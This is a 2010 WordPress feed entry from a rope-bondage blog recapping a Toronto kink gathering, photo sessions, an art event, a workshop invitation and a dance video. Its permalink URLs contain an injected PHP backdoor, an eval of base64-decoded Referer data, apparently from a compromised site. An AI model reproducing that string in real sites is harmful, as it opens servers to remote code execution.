The Control Enthusiast » Video http://www.thecontrolenthusiast.com Sun, 15 Aug 2010 21:28:30 +0000 http://wordpress.org/?v=2.8.5 en hourly 1 After A While, Again. http://www.thecontrolenthusiast.com/2010/05/27/after-a-while-again/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2010/05/27/after-a-while-again/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 27 May 2010 04:12:38 +0000 control http://www.thecontrolenthusiast.com/?p=630 Wow, so, since April 27th…

The ToroGRUE 2 happened. After a lively meet & greet Friday night, Saturday was a day full of amazing discussions from a mix of brilliant minds. Sunday, lots of pancakes happened, made by Men in Kilts, followed by a little bit more GRUEing. I don’t think any of us were expecting the Sunday session to continue quite as it did, but I for one loved it. Graydancer has a post up about his impressions of this GRUE – the second in Toronto, and certainly not the last – as well as what I think might be the best picture of him and I I’ve seen to date:

Men In Kilts With Kitchen Implements

Men In Kilts With Kitchen Implements

Our first ever Girls on Film Keyhole Session happened. Lots of fantastic shots came out of that night. A sure success, and one we’ll for sure be repeating. I had a LOT of fun, tying for Keyhole in a way I don’t often get a chance to. Fast, and for restraint as opposed to purely aesthetics. A pretty complete collection of shots from that night can be found here One of my favourite shots of the evening, below, was taken by VoulaVous and I think is simply lovely.

The following week The Keyhole Sessions and Art Battle Toronto teamed up for Art Battle 6. The final Battle of that night was two artists painting two of our models. I tied in front of the Art Battle crowd… not sure what they were expecting but they were certainly paying attention. Sonya shot a video of me tying, which is good as it shows the crowd around us but I still find it very strange watching myself tie on video.

As a result of my work with The Keyhole Sessions I’ve been invited to give a workshop on Tying the Female Form as part of Kinky4Play. That’s happening mid-August. I’ll post more details as they come up.

I discovered a new online artist (thanks to a blog post by Violet Blue) whose work I admire and am following with great interest. Ben Newman keeps a blog at bennewmanart.blogspot.com and is very much worth a look. Here’s a sample piece of his. (I am such a fan of the red rope in this.)

Handle with Care by Ben Newman

"Handle with Care" by Ben Newman

Part of the Sunday session at the GRUE was a discussion I led (after making many pancakes and watching Graydancer wrassle with my partner A.) on Philosophies of Service. I’m expanding that with more notes and thoughts, with the idea of eventually turning it into a class. Yes, I’d like to get on that touring circuit. But I don’t feel any great need to get on that circuit as a rope educator. At least, not at this moment. Who knows, that may change with time.

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Thanks to lolix for the video tip!

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From Tatu

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I got tipped off to this dance performance clip by Graydancer while I was at home for the holidays. I figured it wasn’t something I could necessarily watch while my parents were around. I was right. Of course, as soon as I got home I threw it up on my TV… and was immediately blown away.
The company is called Unmata, and this piece was performed at an afterparty for something called Tribal Throwdown. Absolutely amazing. They’re all fantastic movers; the body control is remarkable. I’ve seen enough belly dance to appreciate good form, I think. But more than that – and Graydancer says the same thing – what’s so wonderful is how much they all just totally throw themselves into the piece. I love when performers can take a traditional style like this and just totally play with it (italics totally intentional). I’m going to be keeping an eye out for this company, if they ever come this way – or if I ever find myself in their neck of the woods – I’ll be going to see them, no question.

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